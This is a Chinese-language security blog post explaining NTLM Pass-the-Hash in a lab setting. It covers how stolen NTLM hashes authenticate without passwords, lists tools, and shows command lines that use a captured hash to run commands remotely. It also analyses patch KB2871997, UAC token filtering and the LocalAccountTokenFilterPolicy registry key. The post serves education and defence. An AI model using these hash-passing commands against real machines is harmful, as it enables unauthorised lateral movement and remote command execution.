NTLM协议相关的安全问题之Pass The Hash

在前文写ntlm协议中的认证时，客户端接收到Challenge之后，使用用户NTLM Hash与Challenge进行加密运算得到Response，将Response,username,Challenge发给服务器。那也就是说我们不需要用户的明文密码，只需要hash和challenge就可以认证，也就是PTH(Pass The Hash)。

先介绍几个pth的工具

# PTH工具
可以PTH的工具太多了，每个工具都有自己的优缺点。

## impacket
impacket工具包下的几个可以远程执行命令的

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/844437d9-5dc8-f858-e5a8-4fef926a7442.png)

```
python2 psexec.py web/administrator@172.16.33.9 -hashes 00000000000000000000000000000000:58ec08167e274ad52d1849da7a3e9a81
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/622941aa-f6d5-c354-8d71-65b4a3540c9b.png)

冒号分割的前半段是LM Hash，用32个0填充就行，后面的是mimikatz抓的ntlm hash。

## crackmapexec
root权限运行，否则会报一些错误。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/aa732429-26a5-da9e-9a98-47616df672ea.png)

## psexec.exe
创建服务，杀软盯得死。

```
C:\Users\Administrator\Desktop\PSTools>PsExec64.exe -accepteula \\web -s -u test\administrator -p 00000000000000000000000000000000:58ec08167e274ad52d1849da7a3e9a81 cmd.exe
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d8bb8b26-1742-1800-683f-89d873eeea11.png)

## wmiexec.py
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/59d14509-ff1e-b302-66c5-cd1e3a151faa.png)

## powershell
参考地址：https://github.com/Kevin-Robertson/Invoke-TheHash/

支持smb wmi多种方式

Invoke-WMIExec：

```
Invoke-WMIExec -hash 58ec08167e274ad52d1849da7a3e9a81 -Target 172.16.33.9 -domain . -Username administrator -command calc -Verbose
```
类似wmiexec.py

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/8a3de080-1cf7-b8e0-50c7-1df789b272e9.png)

## wmihacker
https://github.com/360-Linton-Lab/WMIHACKER/issues/1

## mimikatz
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/32e927bf-3811-9a47-efc0-8cbe3c952b8f.png)


# kb2871997
微软为了防御pth，发布了补丁kb2871997，但是实际上对于本地Administrator用户和加入本地管理员组的域用户是没有影响的。

在打了补丁之后，使用rid500和非500的用户来测试
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/dceef792-7a9f-a0a3-1380-a570786135ef.png)

使用administrator rid为500的账户pth
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/9da1c1cb-6e93-1167-29a8-b2f2062d59c7.png)

使用admin rid非500的账户来pth
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/9a41135f-0cc7-a8ef-81ea-b8ebcd04928d.png)

而使用加入本地管理员组的域用户来pth是可以的，我这里换了域环境，使用win7来测试。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/fcf02b8d-839d-90fc-2e33-16d20fe978f9.png)

域中的Domain Admins组也存在于本地管理员组中，加一个域用户`test\test`并且将它加入到Domain Admins组中
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c4a95d9f-ee5e-9a37-a31c-e892e73ecebf.png)

使用`test\test`来pth没有问题
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/18da837b-7e27-f75d-37f4-59f59f86eeac.png)

这些问题的真正罪魁祸首是远程访问上下文中的用户帐户控制（UAC）令牌筛选。

对于远程连接到Windows Vista +计算机的任何非RID 500本地管理员帐户，无论是通过WMI，PSEXEC还是其他方法(有个例外，那就是通过RDP远程)，即使用户是本地管理员，返回的令牌都是已过滤的管理员令牌（没有过UAC）。而对于本地“管理员”组中的域用户帐户，文档指出：

> 当具有域用户帐户的用户远程登录Windows Vista计算机并且该用户是Administrators组的成员时，域用户将在远程计算机上以完全管理员访问令牌运行，并且该用户的UAC被禁用在该会话的远程计算机上。

如果计算机中 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` 项存在(默认不存在)且配置为1，将授予来自管理员所有本地成员的远程连接完整的高完整性令牌。这意味着未过滤非RID 500帐户连接，并且可以成功传递哈希值！

自己新建一个这个键值之后就可以进行pth了。在配置winrm的时候，也会遇到同样的问题，本地管理员组的非RID500账户不能登录，于是有些运维在搜寻了一堆文章后，开启该注册表项是最快捷有效的问题:)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/8eca6682-34de-8206-9c75-641992ec30ba.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/66af2482-8b7a-8950-b88f-516c2397d1b8.png)

总结一下

|                 用户(组)                  | 解除限制前 | 解除限制后 |
| :---------------------------------------: | :--------: | :--------: |
| Administrators(除Administrator的本地用户) |   无权限   |   有权限   |
|               Administrator               |   有权限   |   有权限   |
|     被添加到Administrators中的域用户      |   有权限   |   有权限   |
|               Domain Users                |   无权限   |   无权限   |
|                   Users                   |   无权限   |   无权限   |


# 参考
1. https://daiker.gitbook.io/windows-protocol/ntlm-pian/4
2. https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/
3. https://www.anquanke.com/post/id/193150
4. https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/